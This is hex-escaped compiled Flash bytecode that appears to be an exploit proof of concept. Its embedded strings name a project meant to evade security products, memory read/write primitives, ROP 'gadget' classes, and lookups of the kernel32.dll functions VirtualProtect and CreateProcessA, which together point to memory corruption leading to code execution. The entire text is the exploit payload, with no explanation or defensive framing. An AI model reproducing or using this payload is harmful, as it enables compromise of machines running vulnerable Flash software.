53\x33\x2F\x32\x30\x30\x36\x2F\x62\x75\x69\x6C\x74\x69\x6E\x00\x06\x73\x65\x61\x72\x63\x68\x02\x1E\x0E\x00\x3B\x43\x3A\x5C\x55\x73\x65\x72\x73\x5C\x4D\x69\x68\x61\x5C\x41\x64\x6F\x62\x65\x4D\x69\x6E\x65\x50\x6F\x43\x5F\x74\x72\x79\x69\x6E\x67\x54\x6F\x45\x76\x61\x64\x65\x53\x65\x63\x53\x6F\x6C\x75\x74\x69\x6F\x6E\x73\x66\x6C\x61\x35\x2E\x61\x73\x06\x70\x61\x72\x61\x6D\x31\x05\x45\x72\x72\x6F\x72\x08\x70\x6F\x73\x69\x74\x69\x6F\x6E\x0F\x72\x65\x61\x64\x55\x6E\x73\x69\x67\x6E\x65\x64\x49\x6E\x74\x0E\x50\x72\x69\x6D\x69\x74\x2F\x66\x6C\x61\x73\x68\x33\x32\x04\x75\x69\x6E\x74\x06\x70\x61\x72\x61\x6D\x32\x10\x77\x72\x69\x74\x65\x55\x6E\x73\x69\x67\x6E\x65\x64\x49\x6E\x74\x0E\x50\x72\x69\x6D\x69\x74\x2F\x66\x6C\x61\x73\x68\x33\x34\x03\x61\x31\x33\x03\x61\x33\x33\x03\x61\x33\x32\x0E\x50\x72\x69\x6D\x69\x74\x2F\x66\x6C\x61\x73\x68\x33\x35\x06\x4F\x62\x6A\x65\x63\x74\x06\x5F\x6C\x6F\x63\x32\x5F\x07\x66\x6C\x61\x73\x68\x33\x35\x07\x66\x6C\x61\x73\x68\x33\x32\x0C\x50\x72\x69\x6D\x69\x74\x2E\x61\x73\x24\x31\x31\x0E\x50\x72\x69\x6D\x69\x74\x2F\x66\x6C\x61\x73\x68\x33\x36\x09\x66\x6C\x61\x73\x68\x32\x30\x24\x30\x07\x4D\x65\x6D\x5F\x41\x72\x72\x06\x6C\x65\x6E\x67\x74\x68\x06\x67\x61\x64\x67\x65\x74\x07\x66\x6C\x61\x73\x68\x32\x30\x01\x65\x07\x44\x52\x4D\x5F\x6F\x62\x6A\x05\x76\x61\x72\x5F\x37\x07\x50\x72\x69\x6D\x69\x74\x30\x06\x76\x61\x72\x5F\x31\x31\x0E\x50\x72\x69\x6D\x69\x74\x2F\x66\x6C\x61\x73\x68\x32\x30\x03\x64\x65\x63\x00\x08\x74\x6F\x53\x74\x72\x69\x6E\x67\x0A\x50\x72\x69\x6D\x69\x74\x2F\x68\x65\x78\x06\x53\x74\x72\x69\x6E\x67\x0D\x50\x72\x69\x6D\x69\x74\x2F\x50\x72\x69\x6D\x69\x74\x17\x5F\x5F\x67\x6F\x5F\x74\x6F\x5F\x64\x65\x66\x69\x6E\x69\x74\x69\x6F\x6E\x5F\x68\x65\x6C\x70\x03\x70\x6F\x73\x03\x31\x33\x30\x03\x31\x36\x34\x03\x31\x39\x38\x07\x42\x6F\x6F\x6C\x65\x61\x6E\x03\x32\x33\x34\x03\x32\x39\x39\x03\x33\x39\x34\x03\x35\x38\x34\x07\x66\x6C\x61\x73\x68\x33\x34\x03\x38\x38\x35\x04\x31\x32\x34\x33\x07\x66\x6C\x61\x73\x68\x33\x36\x04\x31\x34\x37\x31\x04\x32\x30\x38\x33\x08\x6D\x65\x74\x68\x6F\x64\x5F\x33\x04\x32\x39\x31\x38\x1C\x5F\x5F\x67\x6F\x5F\x74\x6F\x5F\x63\x74\x6F\x72\x5F\x64\x65\x66\x69\x6E\x69\x74\x69\x6F\x6E\x5F\x68\x65\x6C\x70\x03\x35\x30\x37\x02\x39\x31\x00\x06\x6E\x61\x6D\x65\x5F\x31\x06\x6E\x61\x6D\x65\x5F\x32\x06\x6E\x61\x6D\x65\x5F\x37\x03\x57\x49\x4E\x03\x4D\x41\x43\x02\x30\x78\x06\x76\x61\x72\x5F\x31\x39\x06\x76\x61\x72\x5F\x31\x39\x24\x05\x01\x16\x06\x16\x08\x08\x0D\x17\x06\x05\x24\x18\x01\x1A\x01\x16\x4C\x16\x4C\x16\x4C\x16\x4C\x16\x4C\x16\x4C\x16\x4C\x16\x4C\x17\x4C\x16\x4C\x16\x4C\x16\x4C\x16\x4C\x16\x4C\x16\x4C\x16\x4C\x16\x4C\x16\x4C\x16\x4C\x16\x4C\x16\x4C\x16\x4C\x16\x4C\x16\x4C\x16\x4C\x16\x4C\x16\x4C\x04\x08\x01\x02\x03\x04\x05\x06\x07\x08\x01\x02\x08\x01\x09\x03\x04\x11\x06\x07\x08\x4D\x07\x02\x05\x07\x03\x07\x07\x02\x09\x07\x02\x0A\x07\x02\x0B\x07\x04\x0C\x07\x04\x0F\x07\x02\x53\x07\x02\x14\x07\x05\x02\x07\x02\x15\x07\x02\x16\x07\x02\x18\x07\x02\x1A\x07\x05\x1C\x07\x05\x03\x07\x05\x1D\x07\x05\x1E\x07\x02\x20\x07\x05\x22\x07\x05\x23\x07\x05\x04\x1B\x01\x07\x02\x27\x07\x02\x28\x07\x05\x29\x07\x05\x2A\x07\x02\x2B\x07\x05\x13\x07\x05\x19\x07\x02\x2C\x07\x05\x2D\x07\x05\x2E\x07\x05\x2F\x07\x04\x33\x07\x02\x35\x07\x02\x3C\x07\x05\x41\x07\x05\x44\x07\x02\x2A\x07\x02\x47\x07\x02\x01\x09\x01\x02\x07\x09\x4D\x07\x09\x4E\x07\x09\x4F\x07\x09\x05\x07\x09\x09\x07\x09\x0A\x07\x09\x0B\x07\x09\x54\x07\x09\x47\x07\x09\x18\x07\x09\x35\x07\x11\x22\x07\x09\x20\x07\x11\x02\x07\x11\x1C\x07\x11\x03\x07\x11\x1E\x07\x11\x41\x07\x09\x14\x07\x09\x15\x07\x09\x1A\x07\x11\x23\x07\x09\x16\x07\x11\x44\x07\x11\x04\x1B\x03\x07\x09\x2A\x07\x09\x27\x07\x09\x2C\x07\x09\x2B\x07\x09\x28\x07\x11\x29\x07\x11\x2A\x09\x00\x00\x4C\x00\x01\x35\x35\x17\x80\x13\x02\x00\x35\x35\x1B\x80\x13\x19\x01\x35\x38\x1F\x80\x13\x01\x35\x38\x25\x80\x13\x02\x00\x47\x48\x30\x82\x13\x19\x01\x36\x35\x34\x80\x31\x00\x00\x36\x00\x00\x00\x06\x00\x0E\x37\x01\x38\x39\x37\x01\x38\x3A\x37\x01\x38\x3B\x37\x01\x38\x3D\x37\x01\x38\x3E\x37\x01\x38\x3F\x37\x01\x38\x40\x37\x01\x38\x42\x37\x01\x38\x43\x37\x01\x38\x45\x37\x01\x38\x46\x37\x01\x38\x48\x49\x01\x38\x4A\x37\x01\x38\x4B\x01\x2A\x13\x09\x07\x00\x07\x00\x00\x0C\x0A\x40\x01\x18\x00\x01\x00\x10\x40\x02\x1F\x00\x01\x01\x16\x40\x03\x0D\x00\x01\x02\x01\x40\x04\x25\x00\x01\x03\x04\x40\x05\x25\x00\x01\x04\x08\x40\x06\x25\x00\x01\x05\x41\x51\x03\x01\x01\x06\x3D\x51\x04\x02\x01\x07\x37\x51\x05\x03\x01\x08\x43\x51\x06\x04\x01\x09\x46\x51\x07\x05\x01\x0A\x34\x51\x08\x06\x01\x0B\x01\x08\x01\x2A\x44\x00\x00\x02\x0C\x0D\x09\x00\x0A\x01\x03\x04\x50\xD0\x30\xEF\x01\x02\x00\x09\xEF\x01\x03\x01\x0A\xEF\x01\x04\x02\x0B\xEF\x01\x05\x03\x0C\x5E\x2F\x5D\x02\x66\x02\x66\x30\x61\x2F\x5E\x31\x5D\x02\x66\x02\x66\x32\x46\x06\x00\x2C\x50\x46\x07\x01\x24\x00\xB0\x61\x31\xEF\x01\x10\x05\x0E\x5E\x33\x5D\x02\x66\x02\x66\x32\x46\x06\x00\x2C\x51\x46\x07\x01\x24\x00\xB0\x61\x33\x47\x00\x00\x01\x09\x02\x03\x04\x37\xD0\x30\xD1\x25\x80\x20\xAD\x76\x2A\x76\x12\x04\x00\x00\x10\x06\x00\x00\x29\xD1\x2F\x01\xB0\x76\x12\x0A\x00\x00\xF0\x1B\x5D\x3E\x2C\x4C\x4A\x3E\x01\x03\x5D\x39\x66\x39\xD1\x61\x3F\xF0\x1E\x5D\x39\x66\x39\x46\x42\x00\x48\x00\x00\x02\x09\x03\x03\x04\x37\xD0\x30\xD1\x25\x80\x20\xAD\x76\x2A\x76\x12\x04\x00\x00\x10\x06\x00\x00\x29\xD1\x2F\x01\xB0\x76\x12\x0A\x00\x00\xF0\x27\x5D\x3E\x2C\x4C\x4A\x3E\x01\x03\x5D\x39\x66\x39\xD1\x61\x3F\x5D\x39\x66\x39\xD2\x46\x40\x01\x29\x47\x00\x00\x03\x09\x02\x03\x04\x14\xD0\x30\x5D\x39\x66\x39\xD1\x61\x3A\x5D\x3B\x66\x3B\x66\x3C\x82\x24\x01\xA1\x48\x00\x00\x04\x0A\x03\x03\x04\x74\xD0\x30\x5D\x37\xD1\x46\x37\x01\x24\x18\x82\xA0\x74\xD6\xF0\x38\x5D\x41\xD2\x46\x41\x01\x74\xD6\x5D\x44\x66\x44\x96\x11\x10\x00\x00\x10\x48\x00\x00\x09\x5E\x44\x5D\x44\x66\x44\x24\x04\xA0\x61\x44\x5D\x44\x66\x44\x24\x32\xAD\x76\x2A\x76\x12\x14\x00\x00\x29\x5D\x41\xD2\x5D\x44\x66\x44\xA0\x46\x41\x01\xD1\x24\x00\x66\x45\xAB\x96\x76\x11\xCE\xFF\xFF\xF0\x3F\x5D\x44\x66\x44\x24\x32\x0F\x0A\x00\x00\xF0\x41\x5D\x3E\x2C\x4C\x4A\x3E\x01\x03\xD2\x5D\x44\x66\x44\xA0\x48\x00\x00\x05\x0A\x05\x04\x09\xA3\x01\xD0\x30\x57\x2A\xD7\x30\xEF\x01\x26\x02\x48\x65\x01\xD1\x6D\x01\x65\x01\xD2\x6D\x02\x65\x01\x24\x00\x74\x6D\x03\x65\x01\x24\x00\x74\x6D\x04\xF0\x4C\x65\x01\x65\x01\x6C\x01\x80\x47\x6D\x05\x5E\x39\x65\x01\x6C\x05\x61\x39\xF0\x52\x65\x01\x65\x01\x6C\x05\x66\x4A\x74\x6D\x03\xF0\x53\x5E\x3B\x65\x01\x6C\x02\x61\x3B\x65\x01\x6C\x03\x2F\x02\x13\x08\x00\x00\x5D\x3E\x2C\x4C\x4A\x3E\x01\x03\xF0\x58\x5D\x31\x66\x31\x11\x04\x00\x00\x10\x0E\x00\x00\xF0\x5B\x5D\x4B\x66\x4B\x46\x4C\x00\x29\x10\x0A\x00\x00\xF0\x5F\x5D\x3E\x2C\x4C\x4A\x3E\x01\x03\xF0\x62\x47\xF0\x64\x10\x11\x00\x00\xD0\x30\xD3\x30\x5A\x00\x2A\x63\x04\x2A\x30\x2B\x6D\x01\xF0\x67\x47\xF0\x69\x47\x01\x2F\x89\x01\x8F\x01\x3E\x49\x05\x1D\x00\x01\x18\x00\x1E\x00\x02\x1F\x00\x20\x00\x03\x0D\x00\x21\x00\x04\x0D\x00\x22\x00\x05\x18\x00\x06\x0A\x02\x03\x04\x01\x47\x00\x00\x07\x08\x01\x04\x05\x0E\xF1\x12\xF0\x11\xD0\x30\xF0\x13\xD0\x49\x00\xF0\x14\x47\x00\x00\x08\x09\x01\x01\x03\x36\x10\x06\x00\x00\x41\x06\x44\x0B\x06\x03\xD0\x30\xF1\x12\xF0\x06\x5D\x2B\x10\x04\x00\x00\x1A\x1B\x00\x00\x5D\x13\x66\x13\x30\x5D\x13\x66\x13\x58\x00\x1D\x68\x2A\xF1\x12\x10\x05\x00\x00\xD7\x4A\x09\x0C\xD4\xF0\x04\x47\x00\x00\xBF\x14\xF8\x00\x00\x00\x01\x00\x00\x00\x6D\x78\x2F\x63\x6F\x72\x65\x2F\x6D\x78\x5F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x00\x10\x00\x2E\x00\x00\x00\x00\x0A\x43\x45\x3A\x5C\x64\x65\x76\x5C\x34\x2E\x79\x5C\x66\x72\x61\x6D\x65\x77\x6F\x72\x6B\x73\x5C\x70\x72\x6F\x6A\x65\x63\x74\x73\x5C\x66\x72\x61\x6D\x65\x77\x6F\x72\x6B\x5C\x73\x72\x63\x3B\x6D\x78\x5C\x63\x6F\x72\x65\x3B\x6D\x78\x5F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2E\x61\x73\x00\x07\x6D\x78\x2E\x63\x6F\x72\x65\x0B\x6D\x78\x5F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2A\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x61\x64\x6F\x62\x65\x2E\x63\x6F\x6D\x2F\x32\x30\x30\x36\x2F\x66\x6C\x65\x78\x2F\x6D\x78\x2F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x00\x06\x6E\x61\x6D\x65\x5F\x31\x06\x6E\x61\x6D\x65\x5F\x32\x06\x6E\x61\x6D\x65\x5F\x37\x04\x16\x03\x08\x05\x16\x06\x00\x05\x07\x01\x04\x07\x03\x07\x07\x03\x08\x07\x03\x09\x01\x00\x00\x02\x00\x00\x00\x01\x00\x01\x01\x06\x00\x00\x02\x08\x01\x00\x08\x01\x01\x02\x10\xD0\x10\x05\x00\x00\x40\x06\x41\x06\x03\x30\xF1\x01\xF0\x0C\x47\x00\x00\xBF\x14\x42\x0D\x00\x00\x01\x00\x00\x00\x67\x61\x64\x67\x65\x74\x00\x10\x00\x2E\x00\x05\x00\x80\x80\x80\x04\xFF\xFF\x03\x80\x80\x04\x00\x02\x00\x00\x00\x00\xE0\xFF\xEF\x41\x79\x06\x67\x61\x64\x67\x65\x74\x07\x50\x72\x69\x6D\x69\x74\x31\x02\x1E\x18\x00\x3B\x43\x3A\x5C\x55\x73\x65\x72\x73\x5C\x4D\x69\x68\x61\x5C\x41\x64\x6F\x62\x65\x4D\x69\x6E\x65\x50\x6F\x43\x5F\x74\x72\x79\x69\x6E\x67\x54\x6F\x45\x76\x61\x64\x65\x53\x65\x63\x53\x6F\x6C\x75\x74\x69\x6F\x6E\x73\x66\x6C\x61\x36\x2E\x61\x73\x06\x70\x61\x72\x61\x6D\x31\x04\x72\x65\x73\x74\x10\x67\x61\x64\x67\x65\x74\x2F\x66\x6C\x61\x73\x68\x31\x30\x30\x30\x04\x75\x69\x6E\x74\x09\x67\x61\x64\x67\x65\x74\x30\x24\x30\x07\x66\x6C\x61\x73\x68\x33\x32\x07\x66\x6C\x61\x73\x68\x33\x35\x07\x66\x6C\x61\x73\x68\x32\x31\x05\x45\x72\x72\x6F\x72\x08\x70\x6F\x73\x69\x74\x69\x6F\x6E\x0C\x72\x65\x61\x64\x55\x54\x46\x42\x79\x74\x65\x73\x0B\x74\x6F\x4C\x6F\x77\x65\x72\x43\x61\x73\x65\x21\x68\x74\x74\x70\x3A\x2F\x2F\x61\x64\x6F\x62\x65\x2E\x63\x6F\x6D\x2F\x41\x53\x33\x2F\x32\x30\x30\x36\x2F\x62\x75\x69\x6C\x74\x69\x6E\x01\x6B\x00\x01\x6E\x01\x65\x00\x00\x01\x6C\x07\x72\x65\x61\x64\x55\x54\x46\x01\x76\x00\x01\x75\x00\x01\x70\x00\x01\x74\x00\x01\x63\x01\x72\x00\x00\x00\x00\x01\x73\x00\x02\x62\x30\x01\x62\x06\x76\x61\x72\x5F\x31\x32\x04\x73\x69\x7A\x65\x03\x6F\x66\x74\x02\x66\x74\x07\x67\x61\x64\x67\x65\x74\x33\x03\x69\x6E\x74\x0E\x67\x61\x64\x67\x65\x74\x2F\x67\x61\x64\x67\x65\x74\x30\x06\x70\x61\x72\x61\x6D\x32\x06\x70\x61\x72\x61\x6D\x33\x07\x5F\x6C\x6F\x63\x31\x30\x5F\x06\x5F\x6C\x6F\x63\x34\x5F\x06\x5F\x6C\x6F\x63\x35\x5F\x06\x5F\x6C\x6F\x63\x36\x5F\x06\x5F\x6C\x6F\x63\x37\x5F\x06\x5F\x6C\x6F\x63\x38\x5F\x06\x5F\x6C\x6F\x63\x39\x5F\x07\x5F\x6C\x6F\x63\x31\x31\x5F\x07\x5F\x6C\x6F\x63\x31\x32\x5F\x09\x66\x6C\x61\x73\x68\x31\x30\x30\x30\x07\x66\x6C\x61\x73\x68\x37\x30\x06\x56\x65\x63\x74\x6F\x72\x0C\x67\x61\x64\x67\x65\x74\x2E\x61\x73\x24\x31\x35\x06\x50\x72\x69\x6D\x69\x74\x0B\x5F\x5F\x41\x53\x33\x5F\x5F\x2E\x76\x65\x63\x07\x66\x6C\x61\x73\x68\x33\x34\x07\x66\x6C\x61\x73\x68\x33\x36\x05\x41\x72\x72\x61\x79\x04\x63\x61\x6C\x6C\x05\x61\x70\x70\x6C\x79\x0E\x67\x61\x64\x67\x65\x74\x2F\x67\x61\x64\x67\x65\x74\x31\x09\x66\x6C\x61\x73\x68\x32\x30\x24\x31\x09\x75\x6E\x64\x65\x66\x69\x6E\x65\x64\x07\x4D\x61\x69\x6E\x45\x78\x70\x06\x64\x61\x74\x61\x31\x34\x0F\x72\x65\x61\x64\x55\x6E\x73\x69\x67\x6E\x65\x64\x49\x6E\x74\x04\x70\x75\x73\x68\x06\x6C\x65\x6E\x67\x74\x68\x08\x6D\x65\x74\x68\x6F\x64\x5F\x34\x08\x6D\x65\x74\x68\x6F\x64\x5F\x35\x09\x66\x6C\x61\x73\x68\x32\x30\x30\x33\x09\x66\x6C\x61\x73\x68\x32\x30\x30\x35\x07\x67\x61\x64\x67\x65\x74\x34\x07\x67\x61\x64\x67\x65\x74\x37\x07\x67\x61\x64\x67\x65\x74\x38\x07\x67\x61\x64\x67\x65\x74\x39\x03\x72\x65\x73\x09\x66\x6C\x61\x73\x68\x32\x30\x30\x34\x06\x53\x74\x72\x69\x6E\x67\x0E\x67\x61\x64\x67\x65\x74\x2F\x66\x6C\x61\x73\x68\x32\x30\x0D\x67\x61\x64\x67\x65\x74\x2F\x67\x61\x64\x67\x65\x74\x17\x5F\x5F\x67\x6F\x5F\x74\x6F\x5F\x64\x65\x66\x69\x6E\x69\x74\x69\x6F\x6E\x5F\x68\x65\x6C\x70\x03\x70\x6F\x73\x03\x31\x34\x35\x03\x31\x37\x37\x03\x32\x39\x32\x03\x33\x38\x32\x04\x33\x32\x31\x32\x07\x66\x6C\x61\x73\x68\x32\x30\x04\x34\x34\x31\x34\x06\x4F\x62\x6A\x65\x63\x74\x1C\x5F\x5F\x67\x6F\x5F\x74\x6F\x5F\x63\x74\x6F\x72\x5F\x64\x65\x66\x69\x6E\x69\x74\x69\x6F\x6E\x5F\x68\x65\x6C\x70\x03\x32\x31\x35\x02\x39\x33\x00\x06\x6E\x61\x6D\x65\x5F\x31\x06\x6E\x61\x6D\x65\x5F\x32\x06\x6E\x61\x6D\x65\x5F\x37\x02\x63\x72\x02\x6E\x65\x0C\x6B\x65\x72\x6E\x65\x6C\x33\x32\x2E\x64\x6C\x6C\x0E\x76\x69\x72\x74\x75\x61\x6C\x70\x72\x6F\x74\x65\x63\x74\x0E\x63\x72\x65\x61\x74\x65\x70\x72\x6F\x63\x65\x73\x73\x61\x08\x6D\x65\x74\x68\x6F\x64\x5F\x32\x08\x6D\x65\x74\x68\x6F\x64\x5F\x32\x11\x43\x72\x65\x61\x74\x65\x50\x72\x6F\x63\x65\x73\x73\x46\x75\x6E\x63\x08\x66\x69\x6E\x64\x66\x75\x6E\x63\x3A\x05\x01\x16\x04\x17\x04\x08\x12\x05\x42\x18\x01\x1A\x01\x1A\x43\x16\x44\x16\x6C\x16\x6C\x17\x6C\x16\x6C\x16\x6C\x16\x6C\x16\x6C\x16\x6C\x16\x6C\x16\x6C\x16\x6C\x16\x6C\x16\x6C\x16\x6C\x16\x6C\x16\x6C\x16\x6C\x16\x6C\x16\x6C\x16\x6C\x16\x6C\x16\x6C\x16\x6C\x16\x6C\x16\x6C\x16\x6C\x16\x6C\x16\x6C\x16\x6C\x16\x6C\x16\x6C\x16\x6C\x16\x6C\x16\x6C\x16\x6C\x16\x6C\x16\x6C\x16\x6C\x16\x6C\x16\x6C\x16\x6C\x16\x6C\x16\x6C\x16\x6C\x16\x6C\x16\x6C\x16\x6C\x16\x6C\x06\x09\x01\x02\x03\x04\x05\x06\x07\x08\x09\x08\x01\x02\x03\x04\x05\x06\x07\x08\x01\x03\x09\x01\x0A\x0C\x04\x05\x06\x07\x08\x09\x08\x01\x0A\x0C\x04\x05\x06\x07\x08\x67\x07\x02\x09\x07\x03\x0B\x07\x03\x0C\x07\x03\x0D\x07\x02\x0E\x07\x03\x75\x07\x02\x0F\x07\x02\x10\x07\x04\x11\x07\x02\x1A\x07\x03\x02\x07\x02\x16\x07\x03\x2B\x07\x03\x2C\x07\x03\x2D\x07\x03\x2E\x07\x03\x2F\x07\x03\x30\x07\x03\x31\x07\x03\x23\x07\x02\x32\x07\x03\x3F\x07\x02\x40\x09\x41\x01\x07\x09\x41\x1D\x19\x01\x01\x1B\x02\x07\x03\x45\x07\x03\x46\x07\x02\x47\x07\x04\x48\x07\x04\x49\x07\x02\x4C\x07\x02\x4D\x07\x02\x4E\x07\x02\x4F\x07\x04\x50\x07\x02\x51\x07\x03\x52\x07\x03\x53\x07\x03\x54\x07\x03\x29\x07\x03\x55\x07\x03\x56\x07\x03\x57\x07\x03\x58\x07\x03\x59\x07\x03\x5A\x07\x03\x5B\x07\x02\x5C\x07\x03\x66\x07\x03\x01\x07\x02\x43\x09\x01\x03\x07\x02\x68\x07\x0A\x6D\x07\x0A\x6E\x07\x0A\x6F\x07\x0C\x66\x07\x0A\x0E\x07\x0A\x16\x07\x0A\x47\x07\x0A\x4C\x07\x0A\x09\x1D\x19\x01\x40\x07\x0A\x4D\x07\x0A\x4E\x07\x0A\x0F\x07\x0A\x4F\x07\x0A\x51\x09\x41\x04\x1D\x19\x01\x40\x07\x0C\x46\x07\x0C\x52\x07\x0C\x53\x07\x0C\x0C\x07\x0C\x3F\x07\x0C\x0B\x07\x0C\x45\x07\x0C\x02\x07\x0A\x40\x1D\x19\x01\x40\x1B\x05\x07\x0A\x1A\x1D\x19\x01\x40\x1D\x19\x01\x40\x07\x0C\x0D\x07\x0C\x76\x07\x0A\x10\x1D\x19\x01\x40\x1D\x19\x01\x40\x1D\x19\x01\x40\x1D\x19\x01\x40\x1D\x19\x01\x40\x07\x0C\x77\x1D\x19\x01\x40\x1D\x19\x01\x40\x1D\x19\x01\x40\x1D\x19\x01\x40\x07\x0C\x78\x1D\x19\x01\x40\x1D\x19\x01\x40\x07\x00\x00\x04\x00\x01\x00\x40\x08\x8C\x01\x01\x03\x06\x00\x40\x33\x02\x03\x00\x40\x40\x40\x4A\x80\x06\x34\x35\x00\x00\x5D\x02\x00\x00\x5E\x00\x00\x00\x04\x00\x08\x5F\x01\x60\x61\x5F\x01\x60\x62\x5F\x01\x60\x63\x5F\x01\x60\x64\x5F\x01\x60\x65\x5F\x01\x60\x67\x69\x01\x60\x6A\x5F\x01\x60\x6B\x01\x34\x35\x09\x06\x00\x05\x00\x00\x06\x5F\x40\x01\x40\x00\x01\x00\x06\x40\x02\x01\x00\x01\x01\x4D\x51\x03\x01\x01\x02\x64\x51\x04\x02\x01\x03\x4B\x51\x05\x03\x01\x04\x3B\x51\x06\x04\x01\x05\x01\x06\x01\x34\x44\x00\x00\x02\x06\x07\x07\x00\x08\x01\x04\x05\x0D\xD0\x30\xEF\x01\x02\x00\x09\xEF\x01\x03\x01\x0A\x47\x00\x00\x01\x08\x03\x04\x05\x01\x47\x00\x00\x02\x0C\x03\x05\x0A\xA4\x06\xD0\x30\x57\x2A\xD5\x30\x65\x01\x24\x00\x74\x6D\x01\x65\x01\x24\x00\x74\x6D\x02\xF0\x19\x65\x01\x24\x00\x74\x6D\x03\x65\x01\x24\x00\x74\x6D\x04\xF0\x1B\x65\x01\x24\x00\x74\x6D\x05\xF0\x1C\x65\x01\x24\x00\x74\x6D\x06\x65\x01\x24\x00\x74\x6D\x07\xF0\x1E\x65\x01\x24\x00\x73\x6D\x08\x65\x01\x5D\x4E\x5D\x4C\x5D\x57\x66\x57\x46\x4C\x01\x46\x4E\x01\x2F\x01\xA8\x74\x6D\x01\x65\x01\x65\x01\x6C\x01\x2D\x02\xA1\x74\x6D\x02\x10\x3B\x00\x00\x09\xF0\x26\x5D\x4E\x65\x01\x6C\x02\x46\x4E\x01\x2D\x03\xA8\x25\xCD\xB4\x01\x14\x0D\x00\x00\xF0\x28\x65\x01\x24\x00\x74\x6D\x01\x10\x22\x00\x00\x65\x01\x6C\x03\x91\x74\x65\x01\x2B\x6D\x03\x65\x01\x65\x01\x6C\x02\x2D\x04\xA1\x74\x6D\x02\x65\x01\x6C\x03\x25\x80\x04\x15\xBA\xFF\xFF\x65\x01\x6C\x01\x76\x11\x04\x00\x00\x10\x0A\x00\x00\xF0\x30\x5D\x3C\x2C\x6C\x4A\x3C\x01\x03\xF0\x32\x5E\x58\x65\x01\x6C\x02\x61\x58\xF0\x33\x65\x01\x65\x01\x6C\x02\x5D\x4E\x65\x01\x6C\x02\x24\x3C\xA0\x46\x4E\x01\xA0\x74\x6D\x01\x5D\x4E\x65\x01\x6C\x01\x46\x4E\x01\x25\xD0\x8A\x01\x14\x04\x00\x00\x10\x0A\x00\x00\xF0\x36\x5D\x3C\x2C\x6C\x4A\x3C\x01\x03\x65\x01\x5D\x4E\x65\x01\x6C\x01\x25\x84\x01\xA0\x46\x4E\x01\x74\x6D\x04\xF0\x39\x65\x01\x65\x01\x6C\x02\x5D\x4E\x65\x01\x6C\x01\x25\x80\x01\xA0\x46\x4E\x01\xA0\x74\x6D\x01\x65\x01\x24\x03\x24\x04\xA2\x74\x6D\x03\x10\x70\x00\x00\x09\x5D\x57\x66\x57\x65\x01\x6C\x02\x5D\x4E\x65\x01\x6C\x01\x65\x01\x6C\x03\xA0\x46\x4E\x01\xA0\x61\x44\x5D\x57\x66\x57\x24\x0C\x46\x59\x01\x46\x09\x00\x2C\x72\x14\x35\x00\x00\x65\x01\x5D\x4E\x65\x01\x6C\x01\x65\x01\x6C\x03\xA0\x24\x03\x24\x04\xA2\xA1\x46\x4E\x01\x74\x6D\x05\x65\x01\x5D\x4E\x65\x01\x6C\x01\x65\x01\x6C\x03\xA0\x24\x04\xA0\x46\x4E\x01\x74\x6D\x06\xF0\x42\x10\x1B\x00\x00\x65\x01\x65\x01\x6C\x03\x24\x05\x24\x04\xA2\xA0\x74\x6D\x03\x65\x01\x6C\x03\x65\x01\x6C\x04\x15\x84\xFF\xFF\x65\x01\x6C\x05\x24\x00\xAB\x76\x2A\x76\x11\x09\x00\x00\x29\x65\x01\x6C\x06\x24\x00\xAB\x76\x11\x04\x00\x00\x10\x0A\x00\x00\xF0\x48\x5D\x3C\x2C\x6C\x4A\x3C\x01\x03\xF0\x4A\x65\x01\x65\x01\x6C\x05\x65\x01\x6C\x02\xA0\x74\x6D\x05\xF0\x4B\x65\x01\x24\x00\x74\x6D\x03\x10\xE9\x00\x00\x09\xF0\x4E\x65\x01\x5D\x4E\x65\x01\x6C\x05\x46\x4E\x01\x74\x6D\x01\x65\x01\x6C\x01\x24\x00\x14\x0A\x00\x00\xF0\x51\x5D\x3C\x2C\x6C\x4A\x3C\x01\x03\x5D\x57\x66\x57\x65\x01\x6C\x02\x65\x01\x6C\x01\xA0\x61\x44\x5D\x57\x66\x57\x46\x54\x00\x46\x09\x00\x2C\x73\x14\x38\x00\x00\xF0\x56\x65\x01\x5D\x4E\x65\x01\x6C\x02\x65\x01\x6C\x06\xA0\x65\x01\x6C\x03\x24\x04\xA2\xA0\x46\x4E\x01\x74\x6D\x07\xF0\x57\x65\x01\x6C\x08\xC0\x73\x65\x01\x2B\x6D\x08\x65\x01\x6C\x08\x24\x01\x0E\x58\x00\x00\x10\x7E\x00\x00\x5D\x57\x66\x57\x65\x01\x6C\x02\x65\x01\x6C\x01\xA0\x61\x44\x5D\x57\x66\x57\x46\x54\x00\x46\x09\x00\x2C\x74\x13\x04\x00\x00\x10\x31\x00\x00\x5E\x5F\x5D\x4E\x65\x01\x6C\x02\x65\x01\x6C\x06\xA0\x65\x01\x6C\x03\x24\x04\xA2\xA0\x46\x4E\x01\x61\x5F\xF0\x63\x65\x01\x6C\x08\xC0\x73\x65\x01\x2B\x6D\x08\x65\x01\x6C\x08\x24\x01\x17\x2A\x00\x00\x65\x01\x6C\x03\x91\x74\x65\x01\x2B\x6D\x03\xF0\x6B\x65\x01\x65\x01\x6C\x05\x24\x04\xA0\x74\x6D\x05\xF0\x4C\x65\x01\x6C\x03\x25\x80\x02\x0C\x04\x00\x00\x10\x06\xFF\xFF\x65\x01\x6C\x07\x48\xF0\x6F\x10\x17\x00\x00\xD0\x30\xD1\x30\x5A\x00\x2A\xD6\x2A\x30\x2B\x6D\x01\xF0\x71\x5D\x3C\x2C\x6C\x4A\x3C\x01\x03\x24\x00\x48\x01\x46\x84\x06\x8A\x06\x3C\x3D\x08\x0D\x00\x01\x01\x00\x0E\x00\x02\x01\x00\x0F\x00\x03\x01\x00\x10\x00\x04\x01\x00\x11\x00\x05\x01\x00\x12\x00\x06\x01\x00\x13\x00\x07\x01\x00\x14\x00\x08\x15\x00\x03\x0D\x0D\x04\x05\x86\x03\xD0\x30\x24\x00\x74\x63\x04\x5D\x4D\x46\x4D\x00\x29\x5D\x4C\x5D\x4D\x66\x4D\x46\x4C\x01\x74\x63\x05\xF0\x7C\x5D\x4E\x5D\x4E\x5D\x4E\x62\x05\x24\x08\xA0\x46\x4E\x01\x24\x14\xA0\x46\x4E\x01\x24\x04\xA0\x46\x4E\x01\x5D\x51\x66\x51\x96\x96\x12\x08\x00\x00\x25\xBC\x01\x82\x10\x04\x00\x00\x25\xB0\x01\x82\xA0\x74\x63\x06\xF0\x7D\x5D\x4E\x62\x06\x46\x4E\x01\x2D\x04\x15\x04\x00\x00\x10\x0A\x00\x00\xF0\x7F\x62\x06\x24\x04